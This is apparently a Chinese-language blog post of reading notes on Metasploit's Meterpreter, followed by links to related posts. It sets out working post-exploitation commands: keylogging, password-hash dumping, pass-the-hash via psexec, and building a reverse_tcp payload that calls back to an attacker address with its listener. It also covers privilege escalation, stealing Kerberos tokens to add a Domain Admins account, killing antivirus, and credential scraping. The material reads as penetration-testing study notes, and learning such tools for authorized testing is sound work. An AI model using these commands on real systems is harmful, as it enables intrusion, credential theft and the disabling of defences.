一、基本命令

  1. 截屏

screenshot

2.获取系统平台信息

sysinfo

3.进程信息

ps

4.获取键盘记录

查看进程信息ps--migrate将会话迁移至explorer.exe进程空间中---然后--

run post/windows/capture/keylog_recorder

过一段时间CTRL+C中止。

最后在另一个终端里,可以看到我们使用键盘记录所捕捉的内容。

5.提取密码哈希

use priv运行特权账号

run post/windows/gather/hashdump

6.传递hash值

use windows/smb/psexec

set PAYLOAD windows/meterpreter/reverse_tcp

7.权限提升

当我们获得了目标系统的访问权限,可以通过net user命令创建限制权限的普通用户帐号。

XP系统中:

net user bob password123 /add.

然后,创建一个基于Meterpreter的攻击程序payload.exe,复制到目标XP机器上,并在bob用户下运行。

利用攻击载荷生成器(msfpayload)来创建Windows可执行文件格式的Meterpreter攻击载荷程序payload.exe.

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp

LHOST=192.168.33.139 LPORT=443 X>payload.exe

root@bt:/opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp

LHOST=192.168.33.139 LPORT=443 E

meterpreter> getuid

创建载荷时,设置LHOST和LPORT参数指示了反向shell连接到攻击机的地址和端口443,

随后调用msfcli接口进行监听并等待连接,当有连接到达时,将会开启Meterpreter的shell。

shell

use priv

getsystem

getuid

8.令牌假冒

在令牌假冒攻击中,我们获取目标系统中的一个Kerberos令牌,将其用在身份认证环节,来假冒当初创建这个令牌的用户。这是Meterpreter最强大的功能之一。

用户登录服务器时,一个Kerberos令牌会在服务器上在一段时间内保持有效。

我们就可以利用这个令牌入侵系统,而不需破解他的密码。

9.使用PS

使用PS查看进程

使用steal_token命令和PID参数,盗取域管理员用户的令牌。PID为域管理员运行的进程

另外,有些情况下PS命令不能列出域管理员运行的进程,我们可以使用incognito命令列出系统中可用的令牌。

最好是同时检查ps命令和incognito命令的输出结果。

通过use incognito命令加载incognito模块,然后通过list_tokens -u列出令牌。

假冒令牌:

impersonate_token ****\\***(注意双斜杠)

添加用户:

add_user omgcom password123 -h 192.168.33.50(域控)

赋予域管理员权限:

add_group_user "Domain Admins" omgcom -h 192.168.33.50

10.跳板攻击(Pivoting)

允许从Meterpreter 终端攻击网络中的其他系统。

跳板攻击允许你使用已经取得控制的Meterpreter终端来攻击内部网络中的其他机器。

11.使用Meterpreter脚本

run 脚本名字

12.迁移进程

攻击系统时常常利用IE漏洞等,如果目标主机关闭了浏览器,Meterpreter会话也随之关闭,从而导致目标丢失。

渗透以后要将会话迁移到内存空间稳定的、不会关闭的服务进程中,以维持稳定的控制。

run post/windows/manage/migrate

13.关闭杀毒软件

run killav

14。获取系统密码hash

run hashdump

15.查看目标所有流量

run packetrecorder -i 1

16.获取系统信息

Scraper脚本可以获取用户名、密码、注册表、哈希值、收集系统信息等。

run scraper

17。控制持久化

Metasploit 读书笔记-神器Meterpreter的更多相关文章

  1. Metasploit 读书笔记-持久控制

    Meterpreter的persisitence脚本允许主任meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方 ...

  2. metasploit 读书笔记-EXPLOITATION

    一、渗透攻击基础 1.常用命令 show exploits 显示Meta框架中所有可用的渗透攻击模块。 show options 显示模块所需要的各种参数 back 返回Meta的上一个状态 sear ...

  3. metasploit 读书笔记-信息收集

    三、信息收集 被动信息收集 在不接触目标系统时进行的信息收集,包括使用工具Yeti、Whois (1)Whois msf > whois secmaniac.net (2)Netcraft:fi ...

  4. metasploit 读书笔记1

    The msfpayload component of Metasploit allows you to generate shellcode, executables, and much more ...

  5. 读书笔记汇总 - SQL必知必会(第4版)

    本系列记录并分享学习SQL的过程,主要内容为SQL的基础概念及练习过程. 书目信息 中文名:<SQL必知必会(第4版)> 英文名:<Sams Teach Yourself SQL i ...

  6. 读书笔记--SQL必知必会18--视图

    读书笔记--SQL必知必会18--视图 18.1 视图 视图是虚拟的表,只包含使用时动态检索数据的查询. 也就是说作为视图,它不包含任何列和数据,包含的是一个查询. 18.1.1 为什么使用视图 重用 ...

  7. 《C#本质论》读书笔记(18)多线程处理

    .NET Framework 4.0 看(本质论第3版) .NET Framework 4.5 看(本质论第4版) .NET 4.0为多线程引入了两组新API:TPL(Task Parallel Li ...

  8. C#温故知新:《C#图解教程》读书笔记系列

    一.此书到底何方神圣? 本书是广受赞誉C#图解教程的最新版本.作者在本书中创造了一种全新的可视化叙述方式,以图文并茂的形式.朴实简洁的文字,并辅之以大量表格和代码示例,全面.直观地阐述了C#语言的各种 ...

  9. C#刨根究底:《你必须知道的.NET》读书笔记系列

    一.此书到底何方神圣? <你必须知道的.NET>来自于微软MVP—王涛(网名:AnyTao,博客园大牛之一,其博客地址为:http://anytao.cnblogs.com/)的最新技术心 ...

随机推荐

  1. java中List、Map、Set、Collection、Stack、Queue等的使用

    java中这几个东西是比较常用的,虽然我用的不多,也正是因为用的不多,所以我一直搞不清楚他们之间的具体用法以及相互之间的关系,现在特单独作为一个东西来总结一下. 本文参考一下资料: 1.<jav ...

  2. 聊聊“现在学习MFC有用吗?”

    我用MFC做了4年多,后来转到WPF也做了快5年.对于二者,不敢说精通,但应该算入门.结合自己经历,如果不考虑项目需求,我认为新手学习WPF或许更好点.有3点: 1)大家都知道最近几年Motorola ...

  3. POJ2773(容斥原理)

    Happy 2006 Time Limit: 3000MS   Memory Limit: 65536K Total Submissions: 11458   Accepted: 4001 Descr ...

  4. Day2-VIM(四):修改

    字符替换 r 单个字符替换 R 连续替换 - 更改大小写 很简单,多试试就行了 tips:4-更改连续4个字符的大小写,很有意思 单词修改 cw 从光标处修改到单词结尾 cb 从光标处修改到单词开头 ...

  5. Mina APR传输与串口传输讲解---zhengli

    原文地址:Mina Transports(Apache Mina user guide Chapter6 Transport) 1.1.1.APR传输 1.1.1.1.介绍 APR (Apache P ...

  6. [置顶] 自己写一个简单通用的Makefile

    转自:http://blog.csdn.net/u011913612/article/details/52102241 一.makefile的作用 Makefile是用于自动编译和链接的,一个工程有很 ...

  7. PHP类(四)-类的继承

    类的继承就是从已经定义的类中继承数据,也可以重新定义或者加入一些数据. 被继承的类称为父类,基类,超类 继承的类称为子类,派生类 在PHP中只能使用单继承,也就是一个类只能从一个类中继承数据,但是一个 ...

  8. 如何将DevExpress的Gridcontrol导出到Excel

    private void simpleButton1_Click(object sender, EventArgs e) { SaveFileDialog saveFileDialog = new S ...

  9. Solaris与Windows Active Directory集成

    通过Solaris与Active Directory的集成,Solaris可以使用Windows 2003 R2/ 2008 Active Directory来进行用户登录验证.以下是简要配置过程. ...

  10. 基于Flask框架的Python web程序的开发实战 <二> 项目组织结构

    看到第七章-大型程序的结构,备受打击,搞不清工厂函数.蓝本.单元测试,不理解这些对象/变量怎么传递的,感觉好乱,虽然按照源码都照抄了,还是不理解.... 缓缓先.... 本来网上的Flask的教程就比 ...